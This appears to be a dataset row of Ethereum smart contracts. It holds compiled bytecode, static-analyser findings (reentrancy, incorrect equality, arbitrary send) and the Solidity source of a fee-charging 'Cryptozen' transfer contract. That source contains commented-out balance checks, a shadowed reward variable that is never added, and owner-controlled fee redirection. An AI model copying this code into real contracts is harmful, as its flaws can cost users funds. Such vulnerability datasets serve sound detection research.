114dc565b111561120357600080fd5b505b600d54421415611233576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061123e3061064c565b600c54909150600160b01b900460ff161580156112695750600c546001600160a01b03868116911614155b156112f95780156112f957600c5461129d906064906111e890600f90611297906001600160a01b031661064c565b9061141b565b8111156112ca57600c546112c7906064906111e890600f90611297906001600160a01b031661064c565b90505b60006112d782600461149a565b90506112e38183611ba7565b91506112ee8161153b565b6112f782610cb0565b505b505b6113078484848461156b565b50505050565b600081848411156113315760405162461bcd60e51b81526004016104c69190611854565b50600061133e8486611ba7565b95945050505050565b60006006548211156113ae5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104c6565b60006113b861166e565b90506113c4838261149a565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60008261142a575060006104f9565b60006114368385611bbe565b9050826114438583611bdd565b146113c45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c6565b60006113c483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611691565b6000806114e98385611b1e565b9050838110156113c45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c6565b600c805460ff60b01b1916600160b01b17905561155b3061dead83610f4e565b50600c805460ff60b01b19169055565b8080611579576115796116bf565b600080600080611588876116db565b6001600160a01b038d16600090815260016020526040902054939750919550935091506115b59085611722565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546115e490846114dc565b6001600160a01b03891660009081526001602052604090205561160681611764565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161164b91815260200190565b60405180910390a3505050508061166757611667600954600855565b5050505050565b600080600061167b6117ae565b909250905061168a828261149a565b9250505090565b600081836116b25760405162461bcd60e51b81526004016104c69190611854565b50600061133e8486611bdd565b6000600854116116ce57600080fd5b6008805460095560009055565b6000806000806000806116f0876008546117ee565b9150915060006116fe61166e565b905060008061170e8a858561181b565b909b909a5094985092965092945050505050565b60006113c483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061130d565b600061176e61166e565b9050600061177c838361141b565b3060009081526001602052604090205490915061179990826114dc565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e800006117c9828261149a565b8210156117e557505060065492678ac7230489e8000092509050565b90939092509050565b6000808061180160646111e8878761141b565b9050600061180f8683611722565b96919550909350505050565b60008080611829868561141b565b90506000611837868661141b565b905060006118458383611722565b92989297509195505050505050565b600060208083528351808285015260005b8181101561188157858101830151858201604001528201611865565b81811115611893576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104e557600080fd5b80356118c9816118a9565b919050565b600080604083850312156118e157600080fd5b82356118ec816118a9565b946020939093013593505050565b60008060006060848603121561190f57600080fd5b833561191a816118a9565b9250602084013561192a816118a9565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561196457600080fd5b823567ffffffffffffffff8082111561197c57600080fd5b818501915085601f83011261199057600080fd5b8135818111156119a2576119a261193b565b8060051b604051601f19603f830116810181811085821117156119c7576119c761193b565b6040529182528482019250838101850191888311156119e557600080fd5b938501935b82851015611a0a576119fb856118be565b845293850193928501926119ea565b98975050505050505050565b600060208284031215611a2857600080fd5b81356113c4816118a9565b60008060408385031215611a4657600080fd5b8235611a51816118a9565b91506020830135611a61816118a9565b809150509250929050565b600060208284031215611a7e57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611afa57611afa611ad0565b5060010190565b600060208284031215611b1357600080fd5b81516113c4816118a9565b60008219821115611b3157611b31611ad0565b500190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b865784516001600160a01b031683529383019391830191600101611b61565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611bb957611bb9611ad0565b500390565b6000816000190483118215151615611bd857611bd8611ad0565b500290565b600082611bfa57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fcaebf85baf74bbaa06998658df7c657e21bb991be4965432bc6ef4db9c2013664736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,230
0x39921b176f69a9f01b094de4b6e1c46d62d2a0ca
/** *Submitted for verification at Etherscan.io on 2021-05-25 */ /** *Submitted for verification at BscScan.com on 2021-05-08 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; interface IUniswapV2Router01 { function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function WETH() external pure returns (address); } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } }// /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }// /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract Cryptozen is Context, Ownable { address payable private _feeAddress; uint256[3][9] private _tiers; mapping (address => uint256) private _rewards; IERC20 private _ninjaContract; IUniswapV2Router01 private _uniswapRouterAddress; event CryptozenReward(address userAddress, uint256 amount); constructor() { setFeeAddress(payable(0x64F75386cB876AF489eE12e1DEE7978eB075d397)); setNinjaContract(IERC20(0x2d77695ef1E6DAC3AFf3E2B61484bDE2F88f0298)); uint256[3][9] memory a = [ [uint256(0),uint256(30),uint256(0)], [uint256(15),uint256(27),uint256(1)], [uint256(50),uint256(24),uint256(2)], [uint256(150),uint256(21),uint256(3)], [uint256(400),uint256(18),uint256(4)], [uint256(1500),uint256(25),uint256(5)], [uint256(3500),uint256(12),uint256(6)], [uint256(6000),uint256(9),uint256(7)], [uint256(10000),uint256(6),uint256(8)] ]; setTiers(a); setUniswapRouterAddress(IUniswapV2Router01(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)); } function setUniswapRouterAddress(IUniswapV2Router01 routerAddress) public onlyOwner returns(bool){ _uniswapRouterAddress = routerAddress; return true; } function setNinjaContract(IERC20 contractAddress) public onlyOwner returns(bool){ _ninjaContract = contractAddress; return true; } function ninjaContract() public view returns(IERC20){ return _ninjaContract; } function uniswapRouterAddress() public view returns(IUniswapV2Router01){ return _uniswapRouterAddress; } function setFeeAddress(address payable feeAddress) public onlyOwner returns (bool) { _feeAddress = feeAddress; return true; } function setTiers(uint256[3][9] memory tiers) public onlyOwner returns (bool) { _tiers = tiers; return true; } function updateTier(uint256 index, uint256[3] memory tier) public onlyOwner returns (bool) { _tiers[index] = tier; return true; } function tiers() public view returns (uint256[3][9] memory) { return _tiers; } function tier(uint256 index) public view returns (uint256[3] memory) { return _tiers[index]; } function _getTierByAmount(uint256 amount) internal view returns (uint256[3] memory) { if (amount >= _tiers[0][0] && amount < _tiers[1][0]) { return _tiers[0]; } if (amount >= _tiers[1][0] && amount < _tiers[2][0]) { return _tiers[1]; } if (amount >= _tiers[2][0] && amount < _tiers[3][0]) { return _tiers[2]; } if (amount >= _tiers[3][0] && amount < _tiers[4][0]) { return _tiers[3]; } if (amount >= _tiers[4][0] && amount < _tiers[5][0]) { return _tiers[4]; } if (amount >= _tiers[5][0] && amount < _tiers[6][0]) { return _tiers[5]; } if (amount >= _tiers[6][0] && amount < _tiers[7][0]) { return _tiers[6]; } if (amount >= _tiers[7][0] && amount < _tiers[8][0]) { return _tiers[7]; } if (amount >= _tiers[8][0]) { return _tiers[8]; } } function getTier() public view returns (uint256[3] memory){ return _getTier(); } function getNinjaBalanceAndRewardOf(address yourAddress) public view returns(uint256){ return _ninjaContract.balanceOf(yourAddress) + _rewards[yourAddress]; } function _getTier() internal view returns (uint256[3] memory){ return _getTierByAmount(_ninjaContract.balanceOf(_msgSender()) + _rewards[_msgSender()]); } function getFeePercentage() public view returns (uint256) { return _getTier()[1]; } function _calculateTransferFee(uint256 amount, uint256 percent) internal view returns (uint256) { require(amount + percent >= 10000); return (amount * percent) / 10000; } function calculateTransferFee(uint256 amount, uint256 percent) public view returns (uint256) { return _calculateTransferFee(amount, percent); } function transferSameToken( IERC20 tokenContractAddress, address recipient, uint256 amount ) public { uint256 s = gasleft(); // require( // tokenContractAddress.balanceOf(_msgSender()) >= amount, // "Not Enough Balance" // ); // require( // checkAllowance(tokenContractAddress) >= amount, // "Must be approved" // ); uint256 a = _calculateTransferFee(amount, _getTier()[1]); uint256 b = 0; if(tokenContractAddress != _ninjaContract){ uint256 b = _calculateNinjaReward(a, address(tokenContractAddress)); } tokenContractAddress.transferFrom( _msgSender(), address(recipient), (amount - a) ); tokenContractAddress.transferFrom( _msgSender(), address(_feeAddress), a ); _putReward(_msgSender(), b + _calculateNinjaReward( ((s - gasleft()) + 1631) * tx.gasprice, _WETH() ) ); // _ninjaContract.transfer(_msgSender(), b + _calculateNinjaReward( (startGas - gasleft()) * tx.gasprice, _WETH() )); } function transferSameEther(address payable recipient) public payable { uint256 s = gasleft(); uint256 a = _calculateTransferFee(msg.value, _getTier()[1]); Address.sendValue(recipient, (msg.value - a)); Address.sendValue(_feeAddress, a); _putReward(_msgSender(), _calculateNinjaReward(a + ( ((s - gasleft()) + 1631) * tx.gasprice), _WETH())); // _ninjaContract.transfer(_msgSender(), _calculateNinjaReward(a + ( (startGas - gasleft()) * tx.gasprice), _WETH())); } function putRewards(address[] memory recipients, uint256[] memory amounts) public onlyOwner{ for (uint i=0; i<recipients.length; i++) { putReward(recipients[i], amounts[i]); } } function putReward(address recipient, uint256 amount) public onlyOwner{ _putReward(recipient, amount); } function _putReward(address recipient, uint256 amount) internal{ _rewards[recipient] += amount; emit CryptozenReward(recipient, amount); } function getReward() public view returns(uint256){ return _rewards[_msgSender()]; } function rewardOf(address yourAddress) public view returns(uint256){ return _rewards[yourAddress]; } function claimRewards() public returns(bool){ _ninjaContract.transfer(_msgSender(), getReward()); _rewards[_msgSender()] = 0; return true; } function _calculateNinjaReward(uint256 amountIn, address tokenContractAddress) internal returns(uint256){ address[] memory path = _getPath(tokenContractAddress); return _uniswapRouterAddress.getAmountsOut(amountIn, path)[path.length - 1]; } function calculateNinjaReward(uint256 amountIn, address tokenContractAddress) public view returns(uint256){ address[] memory path = _getPath(tokenContractAddress); return _uniswapRouterAddress.getAmountsOut(amountIn, path)[path.length - 1]; } function _getPath(address tokenContractAddress) internal view returns(address[] memory){ address[] memory path = new address[](2); address w = _WETH(); path[0] = w; path[1] = address(_ninjaContract); if(tokenContractAddress != w){ if(tokenContractAddress != address(_ninjaContract)){ path = new address[](3); path[0] = tokenContractAddress; path[1] = w; path[2] = address(_ninjaContract); } } return path; } function _WETH() internal view returns(address){ return _uniswapRouterAddress.WETH(); } function WETH() public view returns(address){ return _uniswapRouterAddress.WETH(); } function withdrawNinjaToken(address recipient, uint256 amount) public onlyOwner{ _ninjaContract.transfer(recipient, amount); } }
0x6080604052600436106101815760003560e01c80639cc3428e116100d1578063bceefd041161008a578063db15d18511610064578063db15d1851461059f578063ea636aca146105dc578063f2fde38b14610619578063fb299d7b1461064257610181565b8063bceefd04146104fc578063cea3658d14610539578063d0cd3f311461057657610181565b80639cc3428e146103da578063abcbce2714610417578063acc5b57514610440578063ad5c46481461046b578063b4d3800f14610496578063ba065462146104bf57610181565b80633d18b9121161013e5780636dda34db116101185780636dda34db1461031e578063715018a61461035b5780638705fcd4146103725780638da5cb5b146103af57610181565b80633d18b9121461029d5780634a95d9d5146102c85780635ad701c2146102f357610181565b8063113c86191461018657806311efbf61146101c35780631ca0a032146101ee5780631d62ebd91461020a57806320ca3c7f14610247578063372500ab14610272575b600080fd5b34801561019257600080fd5b506101ad60048036038101906101a89190613473565b61066b565b6040516101ba9190613c2c565b60405180910390f35b3480156101cf57600080fd5b506101d8610769565b6040516101e59190613c2c565b60405180910390f35b610208600480360381019061020391906134c5565b6107b6565b005b34801561021657600080fd5b50610231600480360381019061022c9190613473565b6108a3565b60405161023e9190613c2c565b60405180910390f35b34801561025357600080fd5b5061025c6108ec565b6040516102699190613b91565b60405180910390f35b34801561027e57600080fd5b50610287610916565b6040516102949190613b5b565b60405180910390f35b3480156102a957600080fd5b506102b2610a29565b6040516102bf9190613c2c565b60405180910390f35b3480156102d457600080fd5b506102dd610a77565b6040516102ea9190613b24565b60405180910390f35b3480156102ff57600080fd5b50610308610afa565b6040516103159190613b40565b60405180910390f35b34801561032a57600080fd5b50610345600480360381019061034091906136cb565b610b0f565b6040516103529190613b40565b60405180910390f35b34801561036757600080fd5b50610370610b98565b005b34801561037e57600080fd5b50610399600480360381019061039491906134c5565b610cd2565b6040516103a69190613b5b565b60405180910390f35b3480156103bb57600080fd5b506103c4610d9a565b6040516103d19190613aa9565b60405180910390f35b3480156103e657600080fd5b5061040160048036038101906103fc919061371d565b610dc3565b60405161040e9190613c2c565b60405180910390f35b34801561042357600080fd5b5061043e600480360381019061043991906134ee565b610ed9565b005b34801561044c57600080fd5b50610455610f63565b6040516104629190613b76565b60405180910390f35b34801561047757600080fd5b50610480610f8d565b60405161048d9190613aa9565b60405180910390f35b3480156104a257600080fd5b506104bd60048036038101906104b891906134ee565b611034565b005b3480156104cb57600080fd5b506104e660048036038101906104e19190613795565b611164565b6040516104f39190613c2c565b60405180910390f35b34801561050857600080fd5b50610523600480360381019061051e9190613759565b611178565b6040516105309190613b5b565b60405180910390f35b34801561054557600080fd5b50610560600480360381019061055b9190613596565b61124e565b60405161056d9190613b5b565b60405180910390f35b34801561058257600080fd5b5061059d6004803603810190610598919061352a565b6112e7565b005b3480156105ab57600080fd5b506105c660048036038101906105c191906136a2565b611411565b6040516105d39190613b5b565b60405180910390f35b3480156105e857600080fd5b5061060360048036038101906105fe919061362a565b6114d9565b6040516106109190613b5b565b60405180910390f35b34801561062557600080fd5b50610640600480360381019061063b9190613473565b6115a1565b005b34801561064e57600080fd5b5061066960048036038101906106649190613653565b61174a565b005b6000601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231846040518263ffffffff1660e01b81526004016107089190613aa9565b60206040518083038186803b15801561072057600080fd5b505afa158015610734573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075891906136f4565b6107629190613dfa565b9050919050565b60006107736119bb565b6001600381106107ac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151905090565b60005a9050600061080c346107c96119bb565b600160038110610802577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151611ad3565b905061082383823461081e9190613edb565b611b10565b61084f600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611b10565b61089e61085a611c04565b6108993a61065f5a8761086d9190613edb565b6108779190613dfa565b6108819190613e81565b8461088c9190613dfa565b610894611c0c565b611cb3565b611dc9565b505050565b6000601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb61095e611c04565b610966610a29565b6040518363ffffffff1660e01b8152600401610983929190613afb565b602060405180830381600087803b15801561099d57600080fd5b505af11580156109b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d59190613601565b506000601d60006109e4611c04565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905090565b6000601d6000610a37611c04565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905090565b610a7f612fbe565b6002600980602002604051908101604052809291906000905b82821015610af157838260030201600380602002604051908101604052809291908260038015610add576020028201915b815481526020019060010190808311610ac9575b505050505081526020019060010190610a98565b50505050905090565b610b02612fec565b610b0a6119bb565b905090565b610b17612fec565b60028260098110610b51577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60030201600380602002604051908101604052809291908260038015610b8c576020028201915b815481526020019060010190808311610b78575b50505050509050919050565b610ba0611c04565b73ffffffffffffffffffffffffffffffffffffffff16610bbe610d9a565b73ffffffffffffffffffffffffffffffffffffffff1614610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b90613c0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000610cdc611c04565b73ffffffffffffffffffffffffffffffffffffffff16610cfa610d9a565b73ffffffffffffffffffffffffffffffffffffffff1614610d50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4790613c0c565b60405180910390fd5b81600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080610dcf83611e5c565b9050601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f85836040518363ffffffff1660e01b8152600401610e2e929190613c47565b60006040518083038186803b158015610e4657600080fd5b505afa158015610e5a573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610e8391906135c0565b60018251610e919190613edb565b81518110610ec8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015191505092915050565b610ee1611c04565b73ffffffffffffffffffffffffffffffffffffffff16610eff610d9a565b73ffffffffffffffffffffffffffffffffffffffff1614610f55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4c90613c0c565b60405180910390fd5b610f5f8282611dc9565b5050565b6000601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff757600080fd5b505afa15801561100b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102f919061349c565b905090565b61103c611c04565b73ffffffffffffffffffffffffffffffffffffffff1661105a610d9a565b73ffffffffffffffffffffffffffffffffffffffff16146110b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a790613c0c565b60405180910390fd5b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b815260040161110d929190613afb565b602060405180830381600087803b15801561112757600080fd5b505af115801561113b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061115f9190613601565b505050565b60006111708383611ad3565b905092915050565b6000611182611c04565b73ffffffffffffffffffffffffffffffffffffffff166111a0610d9a565b73ffffffffffffffffffffffffffffffffffffffff16146111f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ed90613c0c565b60405180910390fd5b8160028460098110611231577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6003020190600361124392919061300e565b506001905092915050565b6000611258611c04565b73ffffffffffffffffffffffffffffffffffffffff16611276610d9a565b73ffffffffffffffffffffffffffffffffffffffff16146112cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c390613c0c565b60405180910390fd5b8160029060096112dd92919061304e565b5060019050919050565b6112ef611c04565b73ffffffffffffffffffffffffffffffffffffffff1661130d610d9a565b73ffffffffffffffffffffffffffffffffffffffff1614611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90613c0c565b60405180910390fd5b60005b825181101561140c576113f98382815181106113ab577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101518383815181106113ec577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151610ed9565b808061140490614006565b915050611366565b505050565b600061141b611c04565b73ffffffffffffffffffffffffffffffffffffffff16611439610d9a565b73ffffffffffffffffffffffffffffffffffffffff161461148f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148690613c0c565b60405180910390fd5b81601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60006114e3611c04565b73ffffffffffffffffffffffffffffffffffffffff16611501610d9a565b73ffffffffffffffffffffffffffffffffffffffff1614611557576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154e90613c0c565b60405180910390fd5b81601e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6115a9611c04565b73ffffffffffffffffffffffffffffffffffffffff166115c7610d9a565b73ffffffffffffffffffffffffffffffffffffffff161461161d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161490613c0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561168d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168490613bac565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60005a905060006117a08361175d6119bb565b600160038110611796577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151611ad3565b90506000601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16146118095760006118058388611cb3565b9050505b8573ffffffffffffffffffffffffffffffffffffffff166323b872dd61182d611c04565b87858861183a9190613edb565b6040518463ffffffff1660e01b815260040161185893929190613ac4565b602060405180830381600087803b15801561187257600080fd5b505af1158015611886573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118aa9190613601565b508573ffffffffffffffffffffffffffffffffffffffff166323b872dd6118cf611c04565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856040518463ffffffff1660e01b815260040161191193929190613ac4565b602060405180830381600087803b15801561192b57600080fd5b505af115801561193f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119639190613601565b506119b361196f611c04565b6119a33a61065f5a886119829190613edb565b61198c9190613dfa565b6119969190613e81565b61199e611c0c565b611cb3565b836119ae9190613dfa565b611dc9565b505050505050565b6119c3612fec565b611ace601d60006119d2611c04565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231611a53611c04565b6040518263ffffffff1660e01b8152600401611a6f9190613aa9565b60206040518083038186803b158015611a8757600080fd5b505afa158015611a9b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611abf91906136f4565b611ac99190613dfa565b612271565b905090565b60006127108284611ae49190613dfa565b1015611aef57600080fd5b6127108284611afe9190613e81565b611b089190613e50565b905092915050565b80471015611b53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4a90613bec565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff1682604051611b7990613a94565b60006040518083038185875af1925050503d8060008114611bb6576040519150601f19603f3d011682016040523d82523d6000602084013e611bbb565b606091505b5050905080611bff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf690613bcc565b60405180910390fd5b505050565b600033905090565b6000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c7657600080fd5b505afa158015611c8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cae919061349c565b905090565b600080611cbf83611e5c565b9050601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f85836040518363ffffffff1660e01b8152600401611d1e929190613c47565b60006040518083038186803b158015611d3657600080fd5b505afa158015611d4a573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190611d7391906135c0565b60018251611d819190613edb565b81518110611db8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015191505092915050565b80601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611e189190613dfa565b925050819055507f9d7253f8a85f2b21c811b6102578f2cc3aed841ee07849df0ac8e32450cbaefb8282604051611e50929190613afb565b60405180910390a15050565b60606000600267ffffffffffffffff811115611ea1577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611ecf5781602001602082028036833780820191505090505b5090506000611edc611c0c565b9050808260